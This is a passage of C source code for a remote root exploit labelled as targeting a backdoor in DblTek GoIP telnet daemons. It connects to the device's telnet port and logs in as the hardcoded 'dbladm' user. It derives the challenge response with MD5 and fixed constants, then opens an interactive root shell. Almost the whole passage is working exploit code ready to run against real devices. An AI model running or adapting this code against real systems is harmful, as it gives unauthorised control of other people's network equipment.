1); dst[n] = '\0'; return (n); } static void shellami (int fd) { int n; fd_set rset; char rbuf[1024], *cmd = "id; uname -a; uptime\n"; sock_send (fd, cmd, strlen (cmd)); while (1) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); if (select (fd + 1, &rset, NULL, NULL, NULL) < 0) { fprintf (stderr, "shellami: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if (FD_ISSET (fd, &rset)) { if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0) { fprintf (stderr, "shellami: connection closed by foreign host.\n"); exit (EXIT_SUCCESS); } rbuf[n] = '\0'; printf ("%s", rbuf); fflush (stdout); } if (FD_ISSET (STDIN_FILENO, &rset)) { if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0) { rbuf[n] = '\0'; sock_send (fd, rbuf, n); } } } } static int sockami (char *host, int port) { struct sockaddr_in address; struct hostent *hp; int fd; if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { fprintf (stderr, "sockami: socket() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if ((hp = gethostbyname (host)) == NULL) { fprintf (stderr, "sockami: gethostbyname() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } memset (&address, 0, sizeof (address)); memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons (port); if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0) { fprintf (stderr, "sockami: connect() - %s\n", strerror (errno)); return (-1); } return (fd); } static int ztelnet_read_negotiation (int fd, char *first_byte) { char chr, in_buf[2]; printf ("** reading telnet negotiation..."); while (1) { if (sock_recv (fd, &chr, 1) == 0) return (1); if ((unsigned char) chr == 0xFF) { if (sock_recv (fd, in_buf, 2) == 0) return (2); } else { *first_byte = chr; break; } } printf ("done\n"); return (0); } static int zattack (int fd) { char in_buf[BUF_SIZE], *c_ptr; char out_buf[BUF_SIZE/2]; char password[32]; int chal_const, in_chal, len; /* read telnet negotiation block */ if (ztelnet_read_negotiation (fd, &in_buf[0]) != 0) return (1); /* read telnet login */ printf ("** reading telnet login..."); if ((len = sock_recv_str (fd, &in_buf[1], sizeof in_buf - 2)) == 0) return (2); if (/* !strstr (in_buf, "Start login") || */ // not always present !strstr (in_buf, "do exec: /sbin/login") || !strstr (in_buf, "Login: ")) return (2); printf ("done\n"); /* send username */ printf ("** sending username..."); sprintf (out_buf, "dbladm\n"); if (sock_send (fd, out_buf, strlen (out_buf)) != strlen (out_buf)) return (3); printf ("done\n"); /* read back our username */ if ((len = sock_recv_str (fd, in_buf, sizeof in_buf)) == 0) return (4); /* read challenge */ printf ("** reading challenge..."); if ((len = sock_recv_str (fd, in_buf, sizeof in_buf)) == 0) return (5); c_ptr = strstr (in_buf, "challenge: "); if (!c_ptr) return (6); printf ("done\n"); /* calculate response */ c_ptr += strlen ("challenge: "); if (*c_ptr == 'S') { c_ptr++; in_chal = atoi (c_ptr); calc_response_v2 (in_chal, password); } else { unsigned char out[MD5_DIGEST_LENGTH]; char in_md5[MD5_CBLOCK]; if (*c_ptr == 'N') { chal_const = 20139; c_ptr++; } else chal_const = 19801; in_chal = atoi (c_ptr); memset (&in_md5, 0, MD5_CBLOCK); memset (&out, 0, MD5_DIGEST_LENGTH); sprintf (in_md5, "%d", in_chal + chal_const + (in_chal >> 3)); fprintf (stdout, "** challenge: %s\n", in_md5); MD5 ((const unsigned char *) in_md5, sizeof in_md5, out); len = sprintf (password, "%x%x%x%x%x%x\n", out[0], out[1], out[2], out[3], out[4], out[5]); } fprintf (stdout, "** response: %s", password); /* send back the response */ printf ("** sending challenge response..."); sock_send (fd, password, len); printf ("done\n"); /* profit $$ */ printf ("* waiting for shell...\n"); sleep (2); shellami (fd); /* not reachable */ return (0); } int main (int argc, char **argv) { int fd; printf ("DblTek Goip Telnetd backdoor remote root exploit\n" "by: , \n" "http://www.digit-labs.org/ -- Digit-Labs 2016!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s \n", argv[0]); exit (EXIT_SUCCESS); } if ((fd = sockami (argv[1], TELNET_TCP_PORT)) != -1) { int result; printf ("* connected to %s:%d\n", argv[1], TELNET_TCP_PORT); if ((result = zattack (fd))) fprintf (stdout, "attack failed :-(, %08X\n", result); } return (EXIT_SUCCESS); }